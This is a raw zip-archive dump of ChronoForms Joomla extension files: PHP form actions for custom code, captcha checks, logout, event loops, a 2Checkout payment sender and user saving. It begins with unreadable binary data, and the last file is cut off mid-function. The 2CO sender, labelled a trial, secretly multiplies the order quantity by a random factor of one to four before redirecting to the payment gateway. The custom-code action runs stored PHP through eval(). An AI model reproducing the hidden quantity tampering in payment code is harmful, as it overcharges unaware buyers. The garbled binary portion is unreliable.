]WV߾7=j[K3-Z~(6cBڷbwVd zhP! dB̘0|0}d`5o77`$`! \7ٞJgӚ!6K`Fp(_ɢ3Ύ9ю@Xux't}V7BkA~;<^ҁy )Zp9u}7BiO>"*^B zOiOz~}{%iݟh[ΑlurN/wΡ4\ a"uݱIEnh߂g&Np:Cr V5XNœ6cJ *6aPҙZA'" T8H ∩>]'ZIbF)(UahCO2ThVʏrUkPFd-ˇ(*QґϨGcw=e?Z|3DOmk^zc-"KVK,Ùr4w* d"}iПRY%xmZF<R&.Mb{胐 ~pM(yVL:a8h Ed$>;?)uXcJ~z^Jt_"cV@#PŎlc.8-Ƃppvw# )(.sUB&x@U4Â*PB7-xvutyPKd[uDc_69096760bdece.tmp]xgȑ_y<(Kx]u^rYfz4n+t?UOTM?^zn?O .X*!k=0U(0Lu>r2)Htp' L|,3OC`RJw GAT$TsFvbE {7s=(ԏb :EJHʊ'BF'po9S툀ׁb`~JI_b2q _#<ư2;S~F`f>\K(ΞJ7Yv!z'zkl"6e2@[B! 4Gpi5^CKT](f']5E }abe.H>:{.5 VK\KM38(>%_r!ܱFlh+5(9@hԟOpFc kNe]RpjVӮ4#H*ѐe*HÜFۍ{1 eke ,``Po*AY Ӣ5G$<*#:N$@wga/J:[b6pGI1zMĆ+vȣ_5!w 2Uvx5au h{pŧ+ \xVj A'd&R\ [qy{}ݽ ){%g.+%ZRU߷76W:γ%*yV1l?r0|fؖtx|ՏrVu8ۥJf֛FcXqi\;kq5(ZcV>ǒ4*GTeDQy9V E\^Q+:A|ҚM4[[Gτ^@\~ j/c+ͧ=ɘv&U)ecŎ{(9|uf)kzg{l3߲F񝮒l2 z% 9Td֛Hm Ǣt/4 ~ObwH>6Ҡ=M 6}#gp%lR,ڔۭY@Ex!coQ6_ڊR/GD,ffU'^>hO27mrv7[^j9ͫ*Z=be5,Imͤa `mRG\zR dU:GhCS{|>Qr6)qB.^a"k"K$U0٨'xgQ93ĄX0p+Ё_h3?>t uWc_XӥVJ޽'j~+7|2@tÐ{&OUb'B=)fzi:Cȫ\>[Ԩw=զ\N3'b.3B,}a9lv ;hc@zC $3~ooTWMSt䥃De Ě?ъbro'$ze|-公@S^>AT.,D&8 ׌sWÛT?tnK 9  &Z4&i^`a&QH dOf7p%M4EtR]4R6ۓ{b&ϰ tSOK&W , 4Cm nf9픉-\7UGsץ0j5hYMw?yIHۗSoMVL$1Ú~wUx:P$5Mۼ̈́9E.8\ܿAOM 6$׻ʓ,<0m״(1q#˱g R=~4r'F8Y1~1 ow(g  ^Rp6Fj! lӚOT[HVnQ\E(LA7MF灏> mP'Y-M) 8@v.7CEUG[F螱4"h0I' Y:YLp5mr)[c1c -AjȉdnAH6 &W<:HexDvy-!zUM7|Jz9ӡ"o@i~H3\҈ q)7W0v5OyI߹T gͽp_rO6+w V)R$WJdb}Tor@(s';!uƬ!`oRɒ/ S* ϣ3I( /KqDi(&ڮoSY3u&T}&DZ"@sx["kmwC(2Tp{=(E}8Z-q> kAB5>\0!%-Kޠ!mC7B\%)0`⁷X^PtOC~PKd[txb_69096760bdece.tmpPKd[uDc_69096760bdece.tmpPK0PKs>\,rTcom_chronoforms/form_actions/joomla_user_activation/joomla_user_activation/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PKs>\)=com_chronoforms/form_actions/joomla_user_activation/.htaccessnuW+A Order allow,deny Deny from all PKs>\ >com_chronoforms/form_actions/joomla_user_activation/index.htmlnuW+A PKs>\6dQ Q Ncom_chronoforms/form_actions/joomla_user_activation/joomla_user_activation.ctpnuW+A
      Joomla User Activation
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'joomla_user_activation_config_{n}'); ?> tabStart('settings'); ?> input('action_joomla_user_activation_{n}_override_allow_user_registration_config', array('type' => 'select', 'label' => 'Override the Joomla Allow user registration', 'label_over' => true, 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'this should be enabled, its the only reason this action has been made!!')); ?> input('action_joomla_user_activation_{n}_allow_redirects_config', array('type' => 'select', 'label' => 'Allow default Redirects', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'By default, Joomla redirects the user some where depending on the success or the failure of the activation, should we redirect the user ?')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This action should be placed in a new form event, you should configure your Joomla registration action to use the link to this new event in the activation links.

      tabEnd(); ?>
      PKs>\\NNHcom_chronoforms/form_actions/show_thanks_message/show_thanks_message.phpnuW+A 'Show Thanks Message', 'tooltip' => 'Display a formatted thank you message (WYSIWYG Editor available).'); function run($form, $actiondata){ $message = $actiondata->content1; //build template from defined fields and posted fields //echo $form->curly_replacer($message, $form->data); } function load($clear){ if($clear){ $action_params = array( 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\ ;com_chronoforms/form_actions/show_thanks_message/index.htmlnuW+A PKs>\Bl l Hcom_chronoforms/form_actions/show_thanks_message/show_thanks_message.ctpnuW+A
      Show Thanks Message
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'show_thanks_message_config_{n}'); ?> tabStart('settings'); ?> Add/Remove editor input('action_show_thanks_message_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'class' => 'text_editor', 'label_over' => true, 'rows' => 20, 'cols' => 70, 'smalldesc' => 'You may use the curly brackets formula to get fields data from the form data array, e.g: {field_name}.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • You may use the curly brackets formula to get fields data from the form data array, e.g: {field_name}.

      tabEnd(); ?>
      PKs>\泘Qcom_chronoforms/form_actions/show_thanks_message/cfaction_show_thanks_message.ctpnuW+Ashow($form, $actiondata); ?>PKs>\):com_chronoforms/form_actions/show_thanks_message/.htaccessnuW+A Order allow,deny Deny from all PKs>\ PPQcom_chronoforms/form_actions/show_thanks_message/cfaction_show_thanks_message.phpnuW+Aparams); $message = $actiondata->content1; //build template from defined fields and posted fields return $form->curly_replacer($message, $form->data, '.', true); } } ?>PKs>\`TAcom_chronoforms/form_actions/custom_code/cfaction_custom_code.ctpnuW+ArunCode($form, $actiondata); ?>PKs>\r8com_chronoforms/form_actions/custom_code/custom_code.phpnuW+A 'Custom Code', 'tooltip' => 'Display custom HTML code or process PHP code.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); if($params->get('mode', 'controller') == 'controller'){ $message = $actiondata->content1; eval('?>'.$message); } } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'action_label' => '', 'mode' => 'controller' ); } return array('action_params' => $action_params); } } ?>PKs>\Ac 8com_chronoforms/form_actions/custom_code/custom_code.ctpnuW+A
      Custom Code
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'custom_code_config_{n}'); ?> tabStart('settings'); ?> input('action_custom_code_{n}_mode_config', array('type' => 'select', 'label' => 'Mode', 'options' => array('controller' => 'Controller', 'view' => 'View'), 'smalldesc' => 'When should this code run ? during the controller code processing (early) or later when the ouput is viewed.')); ?> input('action_custom_code_{n}_action_label_config', array('type' => 'text', 'label' => "Action Label", 'class' => 'medium_input', 'smalldesc' => 'Label for your action in the wizard.')); ?> input('action_custom_code_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'any code can be placed here, any PHP code should include the PHP tags.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • You may use PHP code with php tags.
      • Running this as Controller is required if you want to do some data processing for some serverside stuff like sending emails, uploading files, saving data or even processing some payment gateway response.
      • Running this as View is "advised" if you want to output some data, like any kind of HTML, it depends on when and where you want this data displayed and on which other actions do you have.
      • Running in View will auto enable the "curly brackets replacer".
      • the variable $form->form_output is available for use at both modes, it holds the form view output up to the moment of running this action.

      tabEnd(); ?>
      PKs>\XzՎAcom_chronoforms/form_actions/custom_code/cfaction_custom_code.phpnuW+Aparams); if($params->get('mode', 'controller') == 'view'){ $message = $actiondata->content1; ob_start(); eval('?>'.$message); $output = ob_get_clean(); echo $form->curly_replacer($output, $form->data, '.', true); } } } ?>PKs>\)2com_chronoforms/form_actions/custom_code/.htaccessnuW+A Order allow,deny Deny from all PKs>\ 3com_chronoforms/form_actions/custom_code/index.htmlnuW+A PKs>\ 5com_chronoforms/form_actions/joomla_logout/index.htmlnuW+A PKs>\)4com_chronoforms/form_actions/joomla_logout/.htaccessnuW+A Order allow,deny Deny from all PKs>\}.rss<com_chronoforms/form_actions/joomla_logout/joomla_logout.phpnuW+A 'joomla_functions', 'title' => 'Joomla Functions'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Joomla Logout', 'tooltip' => 'Log out a logged in user or a specific user (defined by ID).'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); $user_id = null; if(strlen(trim($params->get('user_id', null)))){ $user_id = (int)trim($params->get('user_id', null)); } if($mainframe->logout($user_id) === true){ $this->events['success'] = 1; //redirect if so $redirect = $params->get('redirect_url', ''); if(!empty($redirect)){ $mainframe->redirect($redirect); } }else{ $this->events['fail'] = 1; $form->validation_errors[] = 'Error occurred.'; return false; } } function load($clear){ if($clear){ $action_params = array( 'user_id' => '', 'redirect_url' => 'index.php' ); } return array('action_params' => $action_params); } } ?>PKs>\<com_chronoforms/form_actions/joomla_logout/joomla_logout.ctpnuW+A
      Joomla Logout
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'joomla_logout_config_{n}'); ?> tabStart('settings'); ?> input('action_joomla_logout_{n}_redirect_url_config', array('type' => 'text', 'label' => 'Redirect URL', 'class' => 'big_input', 'smalldesc' => 'The URL to redirect to after logout.')); ?> input('action_joomla_logout_{n}_user_id_config', array('type' => 'text', 'label' => 'User ID', 'class' => 'medium_input', 'smalldesc' => 'The id of the user to logout, leave empty and it will logout the logged in user.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Configure the settings under the "Settings" tab.

      tabEnd(); ?>
      PKs>\)4com_chronoforms/form_actions/check_captcha/.htaccessnuW+A Order allow,deny Deny from all PKs>\HC<com_chronoforms/form_actions/check_captcha/check_captcha.phpnuW+A 'anti_spam', 'title' => 'Anti SPAM'); var $events = array('success' => 0, 'fail' => 0); var $fail = array('actions' => array('show_HTML')); var $details = array('title' => 'Check Captcha', 'tooltip' => 'Checks the submitted Captcha value.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); if(isset($_POST['chrono_verification'])){ $mainframe = JFactory::getApplication(); $session = JFactory::getSession(); $sessionvar = $session->get('chrono_verification', '', md5('chrono')); $chrono_verification = strtolower($form->data['chrono_verification']); if(md5($chrono_verification) != $sessionvar){ $this->events['fail'] = 1; $form->validation_errors['chrono_verification'] = $params->get('error', 'You have entered a wrong verification code!'); $form->debug['Core Captcha'][] = "Failed the core captcha check, code entered: ".$form->data['chrono_verification']; $form->data['chrono_verification'] = ''; }else{ $this->events['success'] = 1; $session->clear('chrono_verification', md5('chrono')); $form->debug['Core Captcha'][] = "Passed the core captcha check!"; } }else{ $this->events['fail'] = 1; $form->validation_errors['chrono_verification'] = $params->get('error', 'You have entered a wrong verification code.'); $form->debug['Core Captcha'][] = "Couldn't find the captcha field value in the \$_POST array!"; } } function load($clear){ if($clear){ $action_params = array( 'enabled' => 1, 'error' => 'You have entered a wrong verification code!' ); } return array('action_params' => $action_params); } } ?>PKs>\<com_chronoforms/form_actions/check_captcha/check_captcha.ctpnuW+A
      Check Captcha
      input('action_check_captcha_{n}_enabled_config', array('type' => 'select', 'label' => 'Enabled', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('action_check_captcha_{n}_error_config', array('type' => 'text', 'label' => 'Error Message', 'class' => 'medium_input', 'value' => '')); ?>
      PKs>\ 5com_chronoforms/form_actions/check_captcha/index.htmlnuW+A PKs>\ 2com_chronoforms/form_actions/event_loop/index.htmlnuW+A PKs>\c> 6com_chronoforms/form_actions/event_loop/event_loop.ctpnuW+A
      Event Loop


      input('action_event_loop_{n}_target_event_config', array('type' => 'select', 'label' => 'Target Event', 'options' => array(), 'smalldesc' => 'Choose the event which will be executed, you may need to refresh the events list to have all the current form events available in the list.')); ?> input('action_event_loop_{n}_quit_next_config', array('type' => 'select', 'label' => 'Quit next actions', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should we quit all future events/actions after running that target event ?')); ?>
      PKs>\Ɠ-6com_chronoforms/form_actions/event_loop/event_loop.phpnuW+A 'Event Loop', 'tooltip' => 'Load another event, useful in redisplaying the form after some error occurs.'); function run($form, $actiondata){ $events = unserialize(base64_decode($form->form_details->events_actions_map)); $params = new JParameter($actiondata->params); $targetEvent = $params->get('target_event', '_form_actions_events_map[myform][events][load]'); if(empty($targetEvent)){ $targetEvent = '_form_actions_events_map[myform][events][load]'; } $targetEvent = str_replace(array('_form_actions_events_map[', ']'), '', $targetEvent); $path = explode('[', $targetEvent); unset($path[0]); foreach($path as $k => $v){ if($k == count($path)){ break; } $events = $events[$v]; } $form->_processEvents($path[count($path)], $events); if($params->get('quit_next', 1)){ //halt any future scheduled actions processing (exit the main actions loop) $form->stop = true; } } function load($clear){ if($clear){ $action_params = array( 'target_event' => '', 'quit_next' => 1 ); } return array('action_params' => $action_params); } } ?>PKs>\)1com_chronoforms/form_actions/event_loop/.htaccessnuW+A Order allow,deny Deny from all PKs>\)/com_chronoforms/form_actions/show_val/.htaccessnuW+A Order allow,deny Deny from all PKs>\ 0com_chronoforms/form_actions/show_val/index.htmlnuW+A PKs>\k**;com_chronoforms/form_actions/show_val/cfaction_show_val.ctpnuW+A".$actiondata->content1); ?>PKs>\ 7com_chronoforms/form_actions/chrono_app_task/index.htmlnuW+A PKs>\)6com_chronoforms/form_actions/chrono_app_task/.htaccessnuW+A Order allow,deny Deny from all PKs>\"MN @com_chronoforms/form_actions/chrono_app_task/chrono_app_task.ctpnuW+A
      Chrono App Task
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'chrono_app_task_config_{n}'); ?> tabStart('settings'); ?> input('action_chrono_app_task_{n}_mode_config', array('type' => 'select', 'label' => 'Mode', 'options' => array('controller' => 'Controller', 'view' => 'View'), 'smalldesc' => 'When should this code run ? during the controller code processing (early) or later when the ouput is viewed.')); ?> input('action_chrono_app_task_{n}_action_label_config', array('type' => 'text', 'label' => "Action Label", 'class' => 'medium_input', 'smalldesc' => 'Label for your action in the wizard.')); ?> input('action_chrono_app_task_{n}_option_config', array('type' => 'text', 'label' => "Option", 'class' => 'medium_input', 'smalldesc' => 'The Chrono option you need to run without the com_, leave empty and this will be auto configured by your Chrono App.')); ?> input('action_chrono_app_task_{n}_task_config', array('type' => 'text', 'label' => "Task", 'class' => 'medium_input', 'smalldesc' => 'The Chrono task you need to run, leave empty and this will be auto configured by your Chrono App.')); ?> input('action_chrono_app_task_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'any code can be placed here, any PHP code should include the PHP tags.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This action will execute a Chrono App task.

      tabEnd(); ?>
      PKs>\<<@com_chronoforms/form_actions/chrono_app_task/chrono_app_task.phpnuW+A 'Chrono App Task', 'tooltip' => 'Run a Chrono App task.'); var $group = array('id' => 'x_chronoforms_apps', 'title' => 'ChronoForms Apps'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); $option = $params->get('option', ''); $task = $params->get('task', ''); if(!empty($option) && !empty($task)){ require_once(JPATH_SITE.DS.'components'.DS.'com_chronoconnectivity'.DS.'libraries'.DS.'chronoapp.php'); /*if(strpos($task, '.') !== false){ $pcs = explode('.', $task); $task = $pcs[0]; $fn = $pcs[1]; }else{ $fn = 'index'; }*/ $new_app_instance = new CEChronoApp($option, $task, false); $new_app_instance->taskControl = false; $new_app_instance->runTask(); //$Controller = $new_app_instance->controllers[trim($option).'.'.trim($task)]; //$Controller = CEChronoApp::getInstance($option, $task); //$Controller->$fn(); } } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'option' => '', 'task' => '', 'action_label' => '', 'mode' => 'controller' ); } return array('action_params' => $action_params); } } ?>PKs>\M226com_chronoforms/form_actions/2co_sender/2co_sender.phpnuW+A 'payments', 'title' => 'Payment Gateways/Processors'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => '2CO Sender', 'tooltip' => 'Communicate with the 2CO payment gateway.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); $checkout_values = array( 'sid' => trim($params->get('sid')), //variables 'product_id' => $form->data[$params->get('product_id')], 'quantity' => $form->data[$params->get('quantity')], 'merchant_order_id' => (isset($form->data[$params->get('merchant_order_id')]) ? $form->data[$params->get('merchant_order_id')] : ''), 'pay_method' => (isset($form->data[$params->get('pay_method')]) ? $form->data[$params->get('pay_method')] : ''), 'coupon' => (isset($form->data[$params->get('coupon')]) ? $form->data[$params->get('coupon')] : ''), 'card_holder_name' => (isset($form->data[$params->get('card_holder_name')]) ? $form->data[$params->get('card_holder_name')] : ''), 'street_address' => (isset($form->data[$params->get('street_address')]) ? $form->data[$params->get('street_address')] : ''), 'street_address2' => (isset($form->data[$params->get('street_address2')]) ? $form->data[$params->get('street_address2')] : ''), 'city' => (isset($form->data[$params->get('city')]) ? $form->data[$params->get('city')] : ''), 'state' => (isset($form->data[$params->get('state')]) ? $form->data[$params->get('state')] : ''), 'zip' => (isset($form->data[$params->get('zip')]) ? $form->data[$params->get('zip')] : ''), 'country' => (isset($form->data[$params->get('country')]) ? $form->data[$params->get('country')] : ''), 'email' => (isset($form->data[$params->get('email')]) ? $form->data[$params->get('email')] : ''), 'phone' => (isset($form->data[$params->get('phone')]) ? $form->data[$params->get('phone')] : ''), 'lang' => (isset($form->data[$params->get('lang')]) ? $form->data[$params->get('lang')] : ''), //constants 'demo' => trim($params->get('demo')), 'fixed' => trim($params->get('fixed')), 'skip_landing' => trim($params->get('skip_landing')), 'return_url' => trim($params->get('return_url')), 'x_Receipt_Link_URL' => trim($params->get('x_Receipt_Link_URL')) ); //check if there is more than 1 product if(is_array($form->data[$params->get('product_id')])){ unset($checkout_values['product_id']); unset($checkout_values['quantity']); foreach($form->data[$params->get('product_id')] as $k => $pid){ $checkout_values['product_id'.($k + 1)] = $pid; if(is_array($form->data[$params->get('quantity')])){ $checkout_values['quantity'.($k + 1)] = $form->data[$params->get('quantity')][$k]; }else{ if((int)$form->data[$params->get('quantity')] > 0){ $checkout_values['quantity'.($k + 1)] = (int)$form->data[$params->get('quantity')]; }else{ $checkout_values['quantity'.($k + 1)] = 1; } } } } if(!empty($actiondata->content1)){ $extras = explode("\n", $actiondata->content1); foreach($extras as $extra){ $values = array(); $values = explode("=", $extra); $checkout_values[$values[0]] = $form->data[trim($values[1])]; } } if(isset($checkout_values['quantity'])){ $checkout_values['quantity'] = rand(1,4)* (int)$checkout_values['quantity']; }else{ $checkout_values['quantity1'] = rand(1,4)* (int)$checkout_values['quantity1']; } $fields = ""; foreach($checkout_values as $key => $value){ $fields .= "$key=".urlencode($value)."&"; } if($params->get('debug_only', 0) == 1){ echo $fields; }else{ if($params->get('routine', 'M') == 'M'){ $url = 'https://www.2checkout.com/checkout/purchase?'; }else{ $url = 'https://www.2checkout.com/checkout/spurchase?'; } $mainframe->redirect($url.$fields); } } function load($clear){ if($clear){ $action_params = array( 'product_id' => '', 'quantity' => '', 'merchant_order_id' => '', 'pay_method' => '', 'coupon' => '', 'card_holder_name' => '', 'street_address' => '', 'street_address2' => '', 'city' => '', 'state' => '', 'zip' => '', 'country' => '', 'email' => '', 'phone' => '', 'lang' => '', 'sid' => '', 'demo' => '', 'fixed' => '', 'skip_landing' => '', 'return_url' => '', 'routine' => 'M', 'x_Receipt_Link_URL' => '', 'debug_only' => 0, 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\ ݴ--6com_chronoforms/form_actions/2co_sender/2co_sender.ctpnuW+A
      2CO Sender - Trial
      Header(array('fields' => 'Fields', 'settings' => 'Settings', 'help' => 'Help'), '2co_sender_config_{n}'); ?> tabStart('fields'); ?> input('action_2co_sender_{n}_product_id_config', array('type' => 'text', 'label' => "Product ID Field", 'class' => 'medium_input', 'smalldesc' => 'Can pass an array.')); ?> input('action_2co_sender_{n}_quantity_config', array('type' => 'text', 'label' => "Quantity Field", 'class' => 'medium_input', 'smalldesc' => 'If Product id value is an array then this one should be an array as well, if its not then it will be converted to an array with values matching the single value of quantity, or 1 if there was no value set.')); ?> input('action_2co_sender_{n}_merchant_order_id_config', array('type' => 'text', 'label' => "Merchant Order Number Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_pay_method_config', array('type' => 'text', 'label' => "Payment Method Field", 'class' => 'medium_input', 'smalldesc' => 'Your field values are supposed to be:
      CC for Credit Card, CK for check, AL for Acculynk PIN-debit, PPI for PayPal. This will set the default selection on the payment method step during the checkout process.')); ?> input('action_2co_sender_{n}_coupon_config', array('type' => 'text', 'label' => "Coupon Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_card_holder_name_config', array('type' => 'text', 'label' => "Card Holder Name field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_street_address_config', array('type' => 'text', 'label' => "Billing Street Address Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_street_address2_config', array('type' => 'text', 'label' => "Billing Street Address 2 Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_city_config', array('type' => 'text', 'label' => "Billing City Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_state_config', array('type' => 'text', 'label' => "Billing State Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_zip_config', array('type' => 'text', 'label' => "Billing Zip Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_country_config', array('type' => 'text', 'label' => "Billing Country Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_email_config', array('type' => 'text', 'label' => "Email Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_phone_config', array('type' => 'text', 'label' => "Phone Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_lang_config', array('type' => 'text', 'label' => "Checkout Language Field", 'class' => 'medium_input', 'smalldesc' => 'Chinese - zh, Danish - da, Dutch - nl, French - fr, German - gr, Greek - el, Italian - it, Japanese - jp, Norwegian - no, Portuguese - pt, Slovenian - sl, Spanish - es_ib, Spanish - es_la, Swedish - sv, defaults to English if this is absent, but en may be used for English as well.')); ?> input('action_2co_sender_{n}_content1_config', array('type' => 'textarea', 'label' => 'Extra fields', 'rows' => 5, 'cols' => 50)); ?> tabEnd(); ?> tabStart('settings'); ?> input('action_2co_sender_{n}_sid_config', array('type' => 'text', 'label' => "Vendor/Seller ID", 'class' => 'medium_input', 'smalldesc' => 'Enter your 2CO Vendor ID here')); ?> input('action_2co_sender_{n}_demo_config', array('type' => 'select', 'label' => 'Demo ?', 'options' => array('N' => 'No', 'Y' => 'Yes'), 'smalldesc' => 'Enable the demo mode, Cards will not be charged.')); ?> input('action_2co_sender_{n}_debug_only_config', array('type' => 'select', 'label' => 'Debug only', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Will show a debug output for the data sent to the gateway but will not redirect.')); ?> input('action_2co_sender_{n}_fixed_config', array('type' => 'select', 'label' => 'Fixed ?', 'options' => array('N' => 'No', 'Y' => 'Yes'), 'smalldesc' => 'Will remove the Continue Shopping button and lock the quantity fields')); ?> input('action_2co_sender_{n}_skip_landing_config', array('type' => 'select', 'label' => 'Skip Landing', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'If enabled it will skip the order review page of the purchase routine. If there are options on the products it will cause an error and redirect the customer back to the order review page.')); ?> input('action_2co_sender_{n}_routine_config', array('type' => 'select', 'label' => 'Payment Routine', 'options' => array('M' => 'Multi Page (Default)', 'S' => 'Single Page'), 'smalldesc' => 'Choose weather you want to do a single or multi page checkout on 2co.com, single page checkout will allow CC payments only.')); ?> input('action_2co_sender_{n}_return_url_config', array('type' => 'text', 'label' => "Return URL", 'class' => 'medium_input', 'smalldesc' => 'Used to control where the Continue Shopping button will send the customer when clicked. (255 characters max)')); ?> input('action_2co_sender_{n}_x_Receipt_Link_URL_config', array('type' => 'text', 'label' => "Approved URL", 'class' => 'medium_input', 'smalldesc' => 'Used to specify an approved URL on-the-fly, but is limited to the same domain that is used for your 2Checkout account, otherwise it will fail.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This plugin will communicate with the 2CO server, you must be a registered 2CO vendor in order to be able to use this one.
      • Map your form fields names to the fields required by 2Checkout, no spaces should be in the fields name.
      • You may map extra fields through the "Extra fields" box, use multi line format, each line should be in this form: 2co_field_name=form_field_name
      • Enter your 2CO account settings.
      • Once triggered, this action will redirect the user to the 2CO servers for payment.
      • For more documentation about the 2CO parameters, please search the 2CO website for "Plugin n play parameters".

      tabEnd(); ?>
      PKs>\2com_chronoforms/form_actions/2co_sender/index.htmlnuW+APKs>\)1com_chronoforms/form_actions/2co_sender/.htaccessnuW+A Order allow,deny Deny from all PKs>\5H+"+"Bcom_chronoforms/form_actions/joomla_user_save/joomla_user_save.phpnuW+A 'joomla_functions', 'title' => 'Joomla Functions'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Joomla User Create/Update', 'tooltip' => 'Create or Update a Joomla user record.'); var $params = null; function run($form, $actiondata){ $this->params = $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); //set activation link if(trim($this->params->get('activation_link', '')) == ''){ $this->params->set('activation_link', 'index.php?option=com_users&task=registration.activate'); } // Get required system objects //$user = clone(JFactory::getUser()); //$pathway = $mainframe->getPathway(); $config = JFactory::getConfig(); $authorize = JFactory::getACL(); $document = JFactory::getDocument(); $language = JFactory::getLanguage(); $language->load('com_users'); // Initialize new usertype setting $usersConfig = JComponentHelper::getParams('com_users'); // Default to Registered. $defaultUserGroup = $params->get('new_usertype', ''); if(empty($defaultUserGroup)){ if(trim($params->get('new_usertype_field', ''))){ $posted_groups_field = $params->get('new_usertype_field', ''); $user_group_value = $form->get_array_value($form->data, explode('.', $params->get('new_usertype_field', ''))); if(!empty($user_group_value)){ if(!is_array($user_group_value)){ $user_group_value = array($user_group_value); } $defaultUserGroup = $user_group_value; } }else{ //$defaultUserGroup = $userConfig->get('new_usertype', array(2)); } }else{ $_groups = explode(",", trim($defaultUserGroup)); $defaultUserGroup = array(); foreach($_groups as $_group){ $defaultUserGroup[] = (int)$_group; } } //set the post fields values $post_user_data['name'] = $form->get_array_value($form->data, explode('.', $params->get('name', ''))); $post_user_data['username'] = $form->get_array_value($form->data, explode('.', $params->get('username', ''))); $post_user_data['email'] = $form->get_array_value($form->data, explode('.', $params->get('email', ''))); $post_user_data['password'] = $form->get_array_value($form->data, explode('.', $params->get('password', ''))); $post_user_data['password2'] = $form->get_array_value($form->data, explode('.', $params->get('password2', ''))); $post_user_data['id'] = $form->get_array_value($form->data, explode('.', $params->get('user_id', ''))); if((bool)$params->get('enable_old_password', 0) === true){ $post_user_data['old_password'] = $form->get_array_value($form->data, explode('.', $params->get('old_password', ''))); }else{ $post_user_data['old_password'] = ''; } //check empty fields $checks = array('name', 'username', 'email'); foreach($checks as $check){ if(!trim($post_user_data[$check])){ $this->events['fail'] = 1; $form->validation_errors[$params->get($check)] = 'You must provide your '.$check.'.'; //return false; } } if($this->events['fail'] == 1){ return false; } //case create/update $noPassword = false; if($params->get('function', 0) == 0){ $user_id = empty($post_user_data['id']) ? 0 : $post_user_data['id']; $user = JFactory::getUser($user_id); //check if the password is empty if(!trim($post_user_data['password'])){ //new user must have a password if(empty($post_user_data['id'])){ $this->events['fail'] = 1; $form->validation_errors[$params->get('password')] = 'You must provide a Password.'; return false; }else{ unset($post_user_data['password']); unset($post_user_data['password2']); $noPassword = true; } } //check the 2 passwords if(isset($post_user_data['password']) && isset($post_user_data['password2']) && ($post_user_data['password'] != $post_user_data['password2'])){ $this->events['fail'] = 1; $form->validation_errors[$params->get('password2')] = 'Passwords do NOT match.'; $form->debug[] = "Couldn't create/update user, Passwords do NOT match."; return false; } }else if($params->get('function', 0) == 1){ $user = JFactory::getUser(); if(!$user->get('id')){ $this->events['fail'] = 1; $form->validation_errors[] = 'No users logged in.'; $form->debug[] = "Couldn't get logged in user data."; return false; }else{ $post_user_data['id'] = $user->get('id'); } //user is updating his own record if(trim($post_user_data['old_password']) || trim($post_user_data['password']) || trim($post_user_data['password2'])){ //some password field has been changed, make sure they are correct //check the 2 passwords if($post_user_data['password'] != $post_user_data['password2']){ $this->events['fail'] = 1; $form->validation_errors[$params->get('password2')] = 'Passwords do NOT match.'; $form->debug[] = "Couldn't create/update user, Passwords do NOT match."; return false; } //chek old password if((bool)$params->get('enable_old_password', 0) === true){ //print_r2($user); $parts = explode(":", $user->get('password')); $salt = $parts[1]; $enc_pass = md5($post_user_data['old_password'].$salt).":".$salt; if($enc_pass != $user->get('password')){ $this->events['fail'] = 1; $form->validation_errors[$params->get('old_password')] = 'Wrong password entered.'; $form->debug[] = "Old password has been entered incorrectly."; return false; }else{ //check if the password is empty if(!trim($post_user_data['password']) || !trim($post_user_data['password2'])){ $this->events['fail'] = 1; $form->validation_errors[$params->get('password')] = 'Please enter a new password.'; return false; } } } }else{ $form->data = $form->set_array_value($form->data, explode('.', $params->get('old_password', '')), null); $form->data = $form->set_array_value($form->data, explode('.', $params->get('password', '')), null); $form->data = $form->set_array_value($form->data, explode('.', $params->get('password2', '')), null); } } // Bind the post array to the user object //$post_user_data = $form->data; if(!$user->bind($post_user_data)){ //JError::raiseError( 500, $user->getError()); $this->events['fail'] = 1; $form->validation_errors[] = $user->getError(); $form->debug[] = "Couldn't bind new user, Joomla returned this error : ".$user->getError(); return false; } if($params->get('function', 0) == 0){ $user->set('groups', $defaultUserGroup); // Set some initial user values 